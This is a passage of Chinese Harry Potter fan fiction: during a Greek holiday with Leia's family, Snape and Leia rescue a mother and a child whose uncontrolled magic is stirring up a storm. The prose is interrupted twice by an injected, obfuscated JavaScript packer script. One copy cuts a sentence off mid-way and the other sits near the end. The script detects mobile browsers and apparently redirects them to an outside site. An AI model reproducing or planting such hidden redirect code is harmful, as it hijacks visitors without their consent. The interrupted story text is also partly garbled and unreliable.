“啊!”蕾雅的手刚触摸到毛茸茸的金灿,还来不及抱住金毛犬,就被它的这个举动吓到。她连忙伸出手去拉大狗脖上的啡色项圈,在慌乱中解释:“忘记告诉你了,西弗。肉桂卷是一只特别好客的狗,特别喜欢与喜欢的人亲昵。” 激动的肉桂卷可不管此时的二人有多么尴尬错乱。在用扒拉开斯内普防御的双臂后,它随即猛扑得斯内普一连后退几步,有力的前爪扣在斯内普的前襟,热情地用湿漉漉暖呼呼的舌头不断地舔舐男巫的脸颊,似乎在表达它的喜爱。 男巫堪堪稳住自己和手中的物品,“……呃。”一声像是无奈,又像是尴尬的沉闷音调从他的牙关挤出。 “肉桂卷,别这样!”蕾雅拽紧肉桂卷的项圈,用尽全身的力气将它从黑发男巫身上拖离一些。她竭力不让自己笑出声,但看到斯内普脸上从惊诧蜕变成几乎称得上忍耐的神态,还是忍不住了。 斯内普稳住平衡和情绪后,就在原地任由肉桂卷在他身前活泼地蹭来蹭去,尽量不要去在意那狗爪子在他的黑色风衣留下的,犹如一串串开在冬夜的白梅印记。 “肉桂卷!停下!”大门后,一个老练的声音响起,走出来的老人用力地拍掌呼喊。肉桂卷被这呵斥吓得顿住身形,赶在外公催促第二声前,不情不愿地从斯内普那侧跳开,转身往老人的方向挪动几步,却依依不舍地对斯内普和蕾雅投去可怜巴巴的眼神。 “好啦,好啦,他并不是讨厌你。”蕾雅看到肉桂卷虽然保持着摆动却有些低垂的大尾巴,不忍心地走上前,蹲下来安抚狗狗。肉桂卷委屈地将脑袋转入蕾雅张开双手的怀抱,在她的怀里再次用它那泪汪汪的大眼回望斯内普,仿佛是在声讨男巫的冷淡。 斯内普看到一人一狗毫不掩饰的恳切神情,不由地撇了撇嘴。他俯下身,轻拍肉桂卷温顺的脑袋,放轻声音道:“嗯,只是被吓到了。”他话音落下,肉桂卷的眼中立刻闪烁出喜悦,又一次欢欣雀跃地紧贴在他腿边。斯内普毫不在意地站直身,拍掉衣服的污渍,礼貌地对前来迎接他们的老人说:“这真是一条充满活力的狗。”他微笑而又郑重地递出手,身体略微前倾,表现出谦逊的姿态:“温斯洛先生。” “看来,你就是西弗勒斯了吧?”莱斯利·温斯洛穿着一件宽松的亚麻衬衫和深色棉质长裤,外加一件深绿色的开襟羊毛衫。他快步走上前,一边紧握斯内普的手,一边拉他近身,给他一个友好的拥抱,温暖而亲切地说道:“别这么见外,跟蕾雅一样,你应该叫我外公。看,连肉桂卷都没有把你当外人!” 斯内普这才注意到,外公也有一双与奥德莉亚相似的琥珀色眼睛,一头花白的发已看不出原来的颜色,只是那笑容,灿烂到如同刚吃下一整包柠檬雪宝的邓布利多。 斯内普拢回思绪,深知自己没有任何应对家中长辈的经验,只好附和地点头。 “外公!”蕾雅羞赧地低喊一声打断老人,之后沉默地跟在尾巴摇摆不停的肉桂卷和斯内普的后面进入屋内。这时,雷格纳和奥德莉亚也循声从屋内踱出来,这两夫妻原先还在慢悠悠地享受假日悠闲早餐。 与低调朴素的外饰相对应的,屋内亦是与外公身份全然相符的传统希腊风。四面皆是没有任何修饰的褐石裸墙,搭配着深色的木梁与楼板,靠近室外的一侧横梁特意定制许多挂钩,垂挂几盆翠绿的常春藤,小小的绿叶被窗外姣好的亮光映得透亮。在绿植和同样大地暖棕色的地毯和沙发烘围下,令人身在室内却如同置身于和谐温馨的自然怀抱。 而除了悬挂在各个角落的绿意,屋内为数不多的装饰就剩下玄关木架上铺就着的刺绣织物,上面有被精心处理过的干花散放在陶罐,正源源释放着迷迭香和柠檬的清新香气,让每一位来访这座房子的客人感到轻松惬意。 这座宽敞的宅子对于一个人来说似乎太大了,除了必须的厨房和书房外,大部分空间都被改造为存放植物和书籍的储藏室。外公领着他们上楼到卧室放下行李,斯内普脱下对这里气候来说过热的风衣挂在衣橱,忙不迭地就将伴手礼递给老人:“一点微不足道的心意,是我跟蕾雅用您寄来的材料制作的安神精油,我听她说您晚上有时容易醒。”他诚恳地看向老人,补充道:“如果您觉得有用的话,我后面再寄些给您。” “这真是太贴心了,我自己做的确实不尽如人意。不过,她怎么连这个也跟你说了?”外公灿如暖阳的眼睛闪烁一瞬,接过后轻刮了下同样笑得明媚的蕾雅鼻梁,慈爱地看着两人,“还有,我刚说过,不要这么客气,西弗勒斯,就叫我外公。” 外公的坚持让斯内普无法拒绝,最终只好尊敬不如从命,闭起眼照做。过了一阵,他突然明白过来身边这家伙那股执拗,到底是从谁那里遗传的。 “坐吧,就算吃过了,也可以喝点咖啡或者酸奶。”莱斯利在餐桌前停下,满意地拍了拍斯内普的肩膀,笑得更加舒心:“我还听雷格纳说,你不到三十就成为一名教授了?是什么学科?” 早晨的暖光轻柔地透过纯白窗帘,洒在布满精致蓝白瓷器的木质餐桌上。新鲜烘焙面包的香味混合着地中海的香草气息,还有咖啡,橙汁,牛奶,希腊酸奶,几盘新鲜的水果,一罐蜂蜜,一小碟咸奶酪和火腿肉。 斯内普拉开莱斯利手侧的餐椅,示意蕾雅先坐下来,自己才坐在她的旁边,不紧不慢地回答:“算是化学,不过我涉及一些与植物提取物有关的研究。所以真的很感激你的材料,它们比市面上卖的要好太多了,实验进展都很顺利。”他略带浅笑地结束话语,继而接过雷格纳递来的沙拉。 “这么年轻就成为教授,还是这样一个难的学科,真是后生可畏。”莱斯利感慨道,端起刚刚去开门所以搁置下的浓咖啡,“所以,蕾雅是你的研究生吗?我听雷格纳说她最近加入了一个研究所。” 蕾雅顿了顿,急忙咽下口中的希腊酸奶,低下头去拿准备加到咖啡里的牛奶,“你记错啦外公,我明明最讨厌化学了。” “确实如此,”斯内普瞥一眼专心喝咖啡的蕾雅,缓缓停下手中的刀叉,抬起头向外公解释:“她的导师与我关系很好,但算起来,蕾雅跟我其实并无直接的联系。” “哦?那你们怎么认识的?”外公被挑起好奇心,饶有兴致地追问。 蕾雅一边吃着水果,一边含糊地说道:“是我上过一堂他的公共课,后来就缠着在他研究室的朋友要了他的联系方式。”不知道为什么,哈利和罗恩笑嘻嘻的模样莫名其妙地浮现在她的脑中。 斯内普为这个蹩脚的解释而轻笑,语气中带有一丝讥讽地接过话:“然后,她就开始设计偶遇。” “碰巧的是,我在工作上与西弗勒斯有所联系,有段时间时常请他到家里讨论。”本来是一脸看热闹的雷格纳适时加入对话,“谁知道,他俩就在我不知不觉中悄悄发展了。”雷格纳佯装无可奈何地耸耸肩。 “爸爸!”蕾雅吐出咬了一口的草莓,倏地抬头瞪向父亲,虽然她心里明了父亲这番话大概是有九成的真实。但她还是越想越气,因为就在她将求救眼神投向雷格纳身侧笑而不语的奥德莉亚。 奥德莉亚也丝毫没有任何要同情女儿的意思,反而笑得更豁然地说:“记得最开始有段时间,蕾雅的表现都快让雷格纳急得要哭了。就是后来我调来希腊的时候,雷格纳也时不时在信里透露出沮丧。” 与面颊绯红的蕾雅不同,斯内普游刃有余地保持着薄唇的弧度,将一块颜色淡粉的无花果送入口中。肉桂卷在他的腿侧打了个哈欠,将两只爪子往前伸长,然后趴下了。 莱斯利爽朗地大笑起来:“这不正是爱情的模样吗!雷格纳,你记得当年我是多不情愿把奥德莉亚交给你的吗?现在你也理解父亲的心情了吧?”见雷格纳涨红着脸、镇定自若地移开视线,奥德莉亚则是笑得捂住嘴,外公又转向斯内普这侧,追问道:“最后是谁先开的口?” “……外公你真的是会开玩笑。”蕾雅轻叹一声,正准备承认时,身边的男人径直打断她的话:“其实是我。”他的声音平稳坚定得没有一点动摇。 蕾雅为他的毫不犹豫略感诧异,继而无奈又抱歉地对斯内普挤了挤眼。斯内普的面色没有任何明显的变化,仅是嘴角微扬地回望她,一双黑眸深邃,沉静如海。 “看来我们蕾雅魅力不小嘛。”外公看到两个人都不由自主地泛红起来的耳尖,若有所思地摸了摸下巴的胡子,“吃完早饭我们到镇里逛逛。西弗勒斯,你和蕾雅在那里走一走吧,难得来这里度假,别浪费希腊的美景。” “嗯,我也是第一次来。”斯内普微微颔首,眼角的余光瞅见一旁原本趴伏的肉桂卷忽而精神抖擞地坐直,兴奋地竖起耳朵。 嗯,狗狗肯定是听见可以出去逛了。 …… 健朗的外公坚持要亲自开车,一车人沿着弯弯曲曲的山路开向小镇中心。车窗外展开的是一望无际的壮阔。头顶的天空是深蓝,渐渐沿着天穹的弧度褪染成暧昧的浅白,而后撞上黛青色的延绵山脉线,再向下,则是如宝石般湛蓝到翠绿相交融的海面,间或有海鸥掠过,慵懒漂浮的游艇在水面点缀一圈圈涟漪。 等莱斯利停好车,蕾雅和斯内普带着迫不及待的肉桂卷与停留于一家熙攘酒馆的三人暂时告别,拐进镇中心。这里正在举办一场圣诞集市,然而相比起传统白雪与绿松装点的圣诞,不怎么下雪的十二月显然不会是希腊的旅游旺季,所以大多是附近城镇的居民前来赶集。但这些对常年在霍格沃茨过圣诞的斯内普来说,反而是另一种异国的新鲜与陌生。 手稳稳地搭在她的腰间,不让人潮冲散他们。斯内普半是放松地观察着与他所知圣诞截然不同的场景。街边临时搭建的摊位前满是五彩旗帜和圣诞花环,让本来就漆涂着各色的狭窄街道因此更显杂乱却生动。教堂外的人群排起了长队,开阔的广场有一个小舞台,一位吉他手正兴致勃勃地演奏,那头卷发有节奏地随着每一个音符轻轻颤动。另一侧,一棵巨大的圣诞树高耸,与过于美好的蓝天白云一对比,树上挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我以为你从一开始就对此深知?”斯内普若有暗示地挑起眉毛,连带眼神也有几分锐利地讽刺她。他抽出一张钞票递给正在边忙碌边叫卖的摊贩老板,指了指不停地伸舌头哈气的肉桂卷,沉声说道:“一份不加盐,别烤太焦。” 现在轮到蕾雅捧着一小盒烤肉和一杯冰美式,斯内普则牵着肉桂卷的绳子。肉桂卷温驯地跟在他们后面,两人一狗沿着通往海岸的长长石梯缓缓下行,逆向人流,找到一个不那么热闹的隐蔽角落。 他们背靠着城镇坐在海边,在露天座椅边吹风歇息,边喂肉桂卷。咸咸的风被粼粼的波光推耸扑面,一直吹拂到二人身后的红陶瓦和座座石头墙。眼前的景致都是清澈明亮的,没有一丝杂质的纯净。蕾雅靠在斯内普的肩膀,看他耐心地喂肉桂卷吃下烤肉,感到一阵自心室深处沸腾涌出的平静和幸福。即使,她深知今后还会与他共享更多的这样时刻,会跟他去见证大海的无垠,天空的斑斓,群山的繁茂,除了这些,也许,她还会跟他养一只温顺的小狗。 “在想什么?”斯内普侧眸看她,“这周的训练还算顺利?有没有什么大的变化?” 其实,虽然两个人自她毕业后几乎每个周都有一天是共同度过的,但他们却奇怪地很少会去谈论彼此忙碌的事。大概是蕾雅不愿意为对方添麻烦,或是斯内普由于身份的特殊,不好透露过多霍格沃茨的工作。不过,当蕾雅每结束一次阶段性训练,斯内普都会仔细查阅她的测试报告——尤其是魔力稳定性的一栏。 “最近每次训练都是良好,汉密尔顿和斯威克主任好像对我还挺满意的。”蕾雅答道,又想起什么地问他:“你呢?那晚你说要跟教授们讨论教材的修订,怎么样了?”她其实是觉得奇怪的,斯内普突然会在这个时候提起工作,仿佛是故意在寻找话题以掩盖什么。 “已经跟其他教授商量过了,大多数都表示支持,只有斯拉格霍恩教授有些保留,认为这个任务应由我来负责。”斯内普平直地说明,递给肉桂卷最后一块烤肉,“所以,我打算和德拉科一起完成魔药学教材的修订。” “你知道,我也可以帮忙的。”蕾雅的一只手在肉桂卷的毛发上无意中抚摸着,另一只手举起冰美式送到男巫嘴边。 海浪敲击在岸边的石坝,澄澈的浅蓝水花在阳光下溅开碎片般的光芒。吃饱后的肉桂卷在这种美妙的环境中满足地发出几声哼哼,挨着两人的脚边趴下小憩。 斯内普咽下一口咖啡,“如果你不太忙的话,”他当然很不介意自己的名字与她的共同被记载在修订的教材上。想到这里,他又询问她:“我以前的课本还在你那里吗?” “在我那里,下次我拿给你?”蕾雅喝空了咖啡,放下空杯后,却被亮光线晃得稍微后仰,躲在他宽阔的肩膀后。 “好。”斯内普拿起餐纸擦手,又悄悄施展一个清洁咒,眼尾捕捉到她颈间垂下的一个弯月吊坠正绽出柔和的光芒。侧过脸,他才注意到原是毫无遮挡的午后暖阳不偏不倚地洒落她的脸上。于是,他顺着阳光的方向往前调整坐的位置,让自己的影子恰好能为她遮挡这片过分热烈的璀璨。 海浪声依旧,两人都不再说话。那抹笼罩他们的明艳灿阳最终在二人身上烧化了,像是一捧丰盛的黄金,又像男人胸腔内悄然流淌开的一种巨大的、深沉的、颤抖的渴望。 他很清楚,这大概是人类与生俱来的本能,宛若飞蛾趋火。 但他可从来没有觉得是如此的明确和强烈,比昨夜更为甚。 斯内普凝视这张深爱的脸,她的眼睛是那样的温柔清澈,跟前方盛大浩瀚的蓝海一样,轻易能撼动他的心绪。 此时,千百种海的声音响在他的耳边,有条不紊又纷乱繁杂,他在这片动荡中唤她名字:“蕾雅。” “嗯?”蕾雅疑惑地回望眼前人,他的左手掌覆在她的手背上,而他抬起的右手怜惜地抚触在她的脸边,温暖的触感比头顶灼热的日光还要滚烫不少。 男人轻微前倾,更凑近她一点。他的右手一路往下,细致而缓慢地划过她的颈侧,无名指轻轻拉下她稍高的裙子衣领,露出她锁骨柔白肌肤上一个淡红色的印记。他垂下眼睑,用拇指若有留恋地抚摸这个由他造成的痕迹,哽了哽发紧的喉间:“或许,你会不会想——” “西弗?”蕾雅的心跳猛地加快,她察觉到他眼中的深情和决断,感受到他带有紧张的呼吸。这些都令她在这融化的光流中手足无措,只得开始胡乱揣度他即将要向她表达的事物。 ——梅林与天父在上啊,他不会是…… 不远处的海岸就在这刻发出突兀又激昂的拍击声。翻腾的巨浪卷成刺眼的亮白色,如同暴雨后突然出现的雪白蘑菇,硬生生地占据了两人的视野。 在那个方向,滚滚浪潮忽然退去,揭露出大片漆黑的礁石。礁石后方,是一片未被开发的海滩,上面矗立着一间孤立的小屋,所有的光灿好像都在那里被尖锐地割裂,连带着空气也显得波动扭曲。 紧接着,一阵飓风无情地搅乱海面,浪被折叠成另一种湍急的澎湃。有轰鸣声和海水的咸涩一同被风暴高高抛起,坠落后产生的深沉巨响久久回荡,无法散开。 “汪!”肉桂卷敏锐地察觉到异常,从地上迅捷地跳起,发出焦急的吠叫后向那个方位全速奔跑。 “喂,肉桂卷!” 蕾雅和斯内普再也顾不上任何事,两人相视一眼,默契地抽出魔杖往四周施加麻瓜驱逐咒。 随后,他们同时消失在原地。 84.黄昏时 “砰!”—— “汪!”—— 轰天震地的一声巨响撼得鼓膜发疼。 抬眼望去,那间矗立在海滩上的小屋于须臾间蓦地炸开,一半的房子溃散成飞舞的石片,如同千万支箭矢朝四散飞射。 大狗迎着声音和海风拼命奔跑,就在它差点被其中一个高速碎片击中的前一秒,两个人及时地显形在它的前面。穿黑衣的身影反手朝他们的身后施展一道坚固的防护罩弹飞碎片,另一个身影则迅速地抱住狗。防护罩白色光弧淡下去的一刻,他们和狗已在离岸数十米处凌空出现。 “这到底怎么了?”蕾雅稳住身体,放开肉桂卷的脖子改为紧握住它的牵引绳,“发生什么事了?” “唔。”斯内普拧紧眉毛,显然他也在尽力理清现在的情况,“不清楚,但这肯定是魔法的作用。” “汪汪!——”大狗继续朝着小屋的方向吼叫,似乎在努力提醒他们什么。但那个地方,再也没有什么完整的房屋,只有一个坍圮一半的废墟。 废墟的方向传来一股高强的魔力波动,两个人转过头眺望,看到礁石后方的海面正在聚集一股翻腾的能量波动,波浪随之被猛然揭开,露出大片未曾被阳光照射的、漆黑嶙峋的礁石,十分骇人。这已经不是普通的海浪,仿佛是有某种庞大生物正要从水中觉醒。 “汪汪!”肉桂卷愈加焦急,它一边在原地打转,一边吠叫,甚至试图再次挣脱蕾雅手中的牵引绳。它从来没有这样过,蕾雅的手指都被勒得发疼,凝视肉桂卷半晌,忽然理解过来大狗的意图,“西弗,我想得去那里看看,可能里面有人,因为这样肉桂卷才会这么焦躁不安。”毕竟,救援正正是金毛寻回犬的天性。 她飞快地站起身,眼神坚定地对斯内普说:“你和肉桂卷在这里等我,我就去看一眼。” 斯内普反应更快地扣住她的胳膊,心里可太清楚这家伙要执拗起来他根本拦不住她。“你知道我不可能让你一个人去的。不管那是什么,下一波马上就要来了。”他的声音有急切而不可抗拒的严厉。 确实,他话音落下的时分,一个磅礴的巨浪俯冲着撞击在礁石上,白到刺目的浪花在空中兀自爆裂。紧接着,又一个浪毫不留情地冲上岸滩,激起奋勇的水雾,眼看马上就要摧毁不堪一击的房屋,无论里面有什么,都难以抵抗这样的水流。 再也顾不得那么多,蕾雅毫无犹豫地举起魔杖,“那我们把肉桂卷留在这里吧。”也不等斯内普回应,她垂手轻抚肉桂卷的脑袋,手腕干脆地划出一个咒语的弧线,对疑惑地回望它的大狗说道:“对不起,肉桂卷,我们马上回来。” 昏迷咒光芒释放,肉桂卷在原地沉沉倒下。斯内普没有表现出太多惊讶,而是即刻变出一块巨石,把肉桂卷的牵引绳稳固地压在下面。然后,他们两人快步奔向废墟,他们的身后,是因为观测到连续不断的大浪而响起的海岸警报声。 未经开发的海滩上布满粗糙的砾石,走起来颇感艰难。而越靠近那座小屋的地方,周围的空气似乎因为魔法的影响而变得沉重,房屋背后,水浪还在不断地侵蚀岸线,传来的声声巨响让他们不得不格外谨慎。 绕过房屋本来应该是花园、现在已是一片狼藉的地方。两个人来到还算支棱的另一侧,显然,倒塌了一半的屋内也不会留有什么完好的地方。目及之处都是灰尘、水渍、墙壁和木梁的碎块。地板被一层水浸没,头顶上不时飘来一阵阵令人不安的震颤,和浪声一同撼动二人已然紧绷的神经。 角落中的水柱滴答作响,他们清理掉前方障碍物,突然就听到了微弱的呼救声,声音中充满了痛苦:“救命……请……帮帮我……的……” “西弗,找到了!”蕾雅立刻反应过来,将一根横在那个方向的木板变成虚无,急忙朝声音来源奔去。 一名受伤的女性倒在那里,被砖块和瓦砾压住了下半身。她的面色苍白,显然是失血严重。 “你还好吗?能听见我说话吗?”蕾雅半蹲下,轻轻地拨开这位女子沾满血迹的头发。 “救救……。”女人的声音虚弱,瞳孔涣散,除了求救以外已经没有任何的力气去顾及其他。 “我来移开上面的东西,你把她救出来。”斯内普没有任何惊慌地挥动魔杖,快速评估情形:“她的伤口太重了,应该承受不住幻影移形。”废墟残骸随着他魔杖的挥舞悬浮在半空,显露后方坍塌残缺的木楼梯,还有涌灌下来的水流。蕾雅用魔咒将这名女子移到安全的地方,斯内普手臂垂落,残骸纷纷坠下,蕾雅及时展开防护罩,为他们抵御扬起的尘土。 “坚持住。”斯内普很快半蹲下来,扶起这位浑身是血、奄奄一息的女人。女人忽然剧烈地咳嗽,紧紧抓着斯内普的衣袖,头不住地偏向木楼梯的方向:“我的孩子……我的孩子……他还在里面……!” “她的孩子?!”蕾雅惊讶地看向斯内普。 咚—— 蕾雅和女人的话都被从楼上传来的低沉嗡嗡声所淹没,这声音就像是蠢蠢欲动的、来自深渊的野兽低嚎。 “我明白了,是孩子的魔力暴动。”斯内普收回望向楼上的视线,解释道:“海水和空气都是因为这些魔力而不断地波动。” “我有带白鲜药水和补血剂,治好她以后,你就带她离开这里。”蕾雅从随身的魔法口袋中以魔杖召唤出两瓶药剂,这是她自从成为傲罗以后便形成的习惯,“我去找她的孩子。”她边说着,边俯下身把红色的那瓶补血剂一点点灌进女人口中,另一瓶塞到了斯内普的手里。 “蕾雅!”斯内普紧握魔药怒喝一句,黑眸灼灼如火,“你知道魔力暴动有多危险吗?如果是默默然的话——” 蕾雅短暂地停顿,深吸一口气后按住他的手腕,眼神中满是无惧的决心:“我知道,我也很清楚自己的能力,西弗。” 咚——咚—— 那沉闷的低鸣越来越强烈,夹杂着屋外渐高的浪潮拍岸声。屋内光线在这片刻逐渐低微下去,蕾雅侧过头,见到有黑压压的层云滚滚袭来,璀璨的阳光被遮蔽殆尽,无法穿透。 斯内普明白她是对的,如果是面对大规模的魔法,她的力量的确比他更合适应对。而且——就从方才这几分钟的冷静表现来看,她在毕业后这两个月,又显著地成长不少。 斯内普闭了闭眼,轻触面前人的脸颊,紧锁的眉头微微舒展,叮嘱她:“小心点。如果情况不对,立即撤回。我会带她先离开,然后立刻回来找你。” “不行,你得在岸上布置魔法能量场。如果我没办法救出孩子的话,我们也不能将其他人也卷入其中。”蕾雅坚决地回答,“放心,我会照顾好自己的。”(1) “蕾雅!”斯内普来不及再去阻止她,蕾雅已快速地转身,她手腕一挥,一头钻进再度因漂浮咒浮起的废墟砖块,踏上摇摇欲坠的木楼梯向二楼赶去。 四周的墙壁在微微震颤,脚下的积水比一楼还要深,屋顶的瓦片早已被风暴掀飞,只剩下几根仄歪的横梁。盐分浓重的飓风挟裹着水雾扑面,天空都被推耸来的浑浊乌云覆盖,遮天蔽日的幽暗。岸上不断有人在尖叫,蕾雅从残缺一角的墙垣看出去,原是有一道又一道的浪接踵而至。收拾好思绪和忐忑,她不再去过多在意外面的情况,握紧魔杖,只低头看一眼发热的手环:「我带着她离开了」。 清楚这一点,她才敢毫无顾虑地推开二楼唯一一扇虚掩的卧室门,因为她害怕有什么风吹草动会引发小孩子更为剧烈的魔力暴动——果然,就在门打开的一瞬,“不要!”孩子尖锐的叫喊和空气中的撞击声同时爆发,她的脚下陡然一空,和塌陷的楼板一起坠落下去。 她感到剧痛,勉强用防护罩抵挡住冲抵过来的撞击,自己则摔倒在水浸的地面上,旋即被迎面的水流扑了全身——是窗外的浪急剧地拍进来了——连带突兀地闯进视野的光线——是墙壁被撞破了——在茫然的耳鸣呼啸声中,到处都变成了水,一波又一波的浪如同无可抑制的车轮翻滚,湍急的水花让所有的一切都漂浮起来,不时有屋板和碎裂尖锐的木屑撞在她的小腿。 随着魔力的压迫感越来越强,巨浪的隆隆声也越来越近。浸在冬季的冷水让她打了个寒战,蕾雅秉持着傲罗死也不会松开魔杖的原则,咬着牙谨慎地施展魔咒拨开重重障碍。 她必须尽快找到那个孩子,得赶在造成更无法挽回的灾难前。 推开一个挡住她去路的矮柜,她攀上一个横倒的衣柜,站稳,清除眼前各种家具碎片和破碎的建筑残块,终于看见刚才二楼断裂的楼板。一个抱着头的小男孩正蜷缩在全屋唯一完好的书桌底下——她还没来得及去唤他—— “不要!”是男孩子再一次声嘶力竭的喊声,他身边的物品全部毫不留情地撞击向楼下的她——年轻的傲罗熟练地用防护罩挡下所有攻击,准备直接幻影移形到他的身边——瞬间,她察觉到一个近在男孩后方的、高达十米的波浪,宛如一头从海中升起的狰狞巨兽,张着血盆大口直冲他们。 蕾雅的瞳孔骤然扩大,这下才是真正地为孩子的魔力暴走而感到恐惧。 但她是不会轻易放弃的,这么想着,这名年轻的傲罗决然高举魔杖。 岸的这边,斯内普刚将下半身都是血污的女人安置在地面上。他用魔咒治愈了她剩下的严重伤口,摸到她跳动的脉搏变得稳定,他确保她至少今日不会因伤势丧命。然后,他扭转魔杖,对准房屋的方向布置下坚固的魔法能量场。 做完这些,他再一次确认肉桂卷正在安全地沉睡,一刻也不敢耽误便准备幻影移形回去她身边。 “喂——没事吧?”急促的脚步声打断他的行动,他循声回头,望见一个留有及肩卷发的女人小跑赶来,左手握着一根深褐色的魔杖。这个女人的身后,是同样急切前来的雷格纳·莱恩哈特。 “西弗勒斯!”雷格纳惊诧地呼唤,错愕地看着斯内普,“这里发生了什么?” “是小孩的魔力暴动。”斯内普看着副司长气喘吁吁地停在自己的面前,卷发女人则急忙跪在受伤女性旁开始检查伤势。“蕾雅还在那里寻找那个孩子,既然你在这里,我会立刻过去帮她。”斯内普快速地说道,担忧地紧盯不断冲击海岸的滚浪,警报声在此刻格外刺耳。 就在那些一层又一层的浪中,一道前所未有的凶猛水墙在纷乱中凌空升起,他心脏一颤,全身的血液因此停滞,不能再等了,他攥紧魔杖—— 蕾雅! 然而,几乎在他要发动幻影移形的同时,所有翻滚的浪涛波澜如同被时间定格般凝结。噼啪声连续不断响起,整整一片水幕于瞬息间被冻成坚冰,形成一面晶莹透亮的冰镜,原来高强的魔法力量也在这一刻被冻结封存。 天空中的光柱透过乌云的缝隙洒下,渐渐扩散,缓缓地重新变回午后的炫目耀眼。 在太阳的作用下,那封冻的寒冰开始延伸出千万道裂痕,随后,整面冰墙同时崩裂。四溅的水流如细雨,七彩的幻虹在那里短暂显现,那之下,被止住冲势的浪卷回归于海,却远没有之前那样迅猛,很快平息。 这场面实在壮观,看来是她又一次使用出超乎想象的魔咒。 斯内普明白蕾雅是成功了。替代刚才想要使用的幻影移形,他转而解除前方的魔法能量场。 这时,一声幻影移形的爆裂响声切开虚空。 “阿嚏——”浑身湿透的蕾雅踉跄地往前几步,双膝忽而跪在地上,显得有些狼狈地喘着气,她的手臂紧抱一个被冰冻住的孩子,两个人身上不住掉下的水珠和冰渣在岸滩上留下无数圆点。 没有任何迟疑,斯内普跨步赶到她的位置,还没靠近,手中的魔杖已果断地朝她砸下两发干燥咒。 “还好吗?”他也跟随她半蹲下,用左手抚摸她的面庞,接着仔细检查她是否有任何明显的伤害。在真切确认到她安全无恙后,才松了一口气,低头去查看她怀里的小孩,为这个身体颤抖、嘴唇发紫的昏迷男孩施下温暖咒。之后,斯内普环抱着她,想用体温给他们带来暖意。 “对不起,对不起……”蕾雅顾不上自己或是斯内普,急忙脱下干燥后的外套包裹住男孩,将自己温热的额头贴在他的额上,“对不起,我不得不连你一起冻住。” “就是这个孩子吗?”雷格纳和被解除昏迷咒的肉桂卷一同赶来,关切地望着小男孩,“我来处理吧,我知道抑制魔力的办法。”雷格纳接过孩子,将他轻轻放在地上,抽出魔杖指向孩子的额头。 “缓和剂和提神剂,也许有用。他好像在发烧。”蕾雅从口袋翻找出两瓶药剂递给雷格纳,然后抱了抱决定守在孩子身边的肉桂卷,“辛苦你了,多亏你及时警告我们,不然就糟糕了。”肉桂卷得意地哼了哼,用舌头舔舔蕾雅沾满海水的脸。 斯内普则皱着眉头,注视着雷格纳为孩子吟唱的金色魔咒。抽回视线,他又低头看向若有所思盯着孩子的蕾雅,他扶她起身,在察觉到她全身上下析出的盐渍后,替她施下几道清洁咒。 “你也是,辛苦了。”他的眉毛依旧颦蹙,语气中有不加掩饰的心疼,虽然心里清楚她又一次展示出惊人的成长,也许她的魔咒力量也快要超过他本人了。 蕾雅凝望那个魔力暴走的男孩半晌,身体靠向斯内普,扬起下巴,在他耳边轻声道:“我总觉得,这个场景我好像见过。” “是吗?”斯内普紧了紧环住她手的力度,目光停落在雷格纳魔杖尖端迸溅的魔咒辉光上,那些金色的光环宛如几束细锁缠绕在孩子的手臂和腿上,大概是以此来稳定魔力。“是现在这个场面?”斯内普问她。 蕾雅被他这样个问题引得顿住,随即偏过头看他。只见斯内普绷紧着脸,无光的黑眸中满是深邃和沉稳,不知道为什么,蕾雅突然觉得斯内普好像对此并不惊讶,反而就是了解什么情况似的引导她回答这个问题。她缓慢地整理思绪:“不是……再往前一些,呃,我也说不清楚,但你是不是……” “啊!你是那时候的小巫师,还有狗狗也在。没想到又见到你们,挺能干嘛!”一个不算熟悉的声音打断了蕾雅,原来是结束治疗的卷发女人,现在向他们走来:“这次还带了男朋友来啊?唔,他看着怎么有点面熟?” 见肉桂卷亲昵地摇着尾巴围上前,蕾雅惊讶地认出对方:“啊,你是上次酒馆的老板!”于是,蕾雅牵起一个友好明媚的笑容,“我是蕾雅·莱恩哈特,如你所见,我顺利毕业成为傲罗了。唔,这位是我的……”一想到她似乎从未向外人介绍过他,不由自主地脸红一些,头朝斯内普下意识地靠了靠。 “西弗勒斯·斯内普。”斯内普接过她的话,平淡地做自我介绍。 “西弗勒斯·斯内普?!那个战争英雄霍格沃茨校长?!我有买你的传记啊,等下能不能帮我签个名?——”卷发女人比目睹刚才的事故更为震惊地僵在原地,然后瞪大闪亮的双眼,又激动又热情地笑着说:“哦不好意思,我是洛克珊·格奥尔加斯,这里巫师酒馆老板。如你所见,我时不时还得负责在当地傲罗不在的时候维持小镇的安全。” 她话音刚落,有几个像是傲罗装扮的巫师凭空出现,焦急地环顾现场情况。 …… 结束了那对母子的安置、对麻瓜的遗忘咒施加、以及与希腊傲罗们的交流,返回外公的宅子已是黄昏。 落日温柔地沉没,风暴平静后的海面被余晖熏成无尽的橘红,霞光锦灿,连带满山的红陶瓦褐石墙一起沉浸在连绵的梦幻境界,不时有金盏花的香气晕染其中。 莱斯利和奥德莉亚已准备好晚餐。温暖的餐灯映衬窗外逐渐褪去的日辉,使得桌上的食物看起来更加诱人。莱斯利在餐桌摆放最后制作好的希腊式烤茄子,茄子被烤得外皮微焦而内里柔软,浸透了橄榄油、蒜泥和柠檬汁的香味,十分可口。餐桌上有烤羊肉串和特色的希腊塔饼,还有也许是害怕斯内普吃不习惯,奥德莉亚贴心烹饪的香煎小牛排和土豆泥沙拉。 肉桂卷一进屋就自觉跑回窝歇息了。其余面露疲惫的三人慢悠悠地在餐桌前坐下,莱斯利打开一瓶欧佐酒,酒液的芬芳立刻弥散开:“怎么样,解决海滩的事情辛苦了吧?” “呃……”雷格纳抓了抓此时有点凌乱的头发,忆起在酒馆胡乱编借口走开的时候,他是没有预料到会花这么多时间。等等,不对,外公怎么知晓他们是去解决海滩的事情了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717758|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 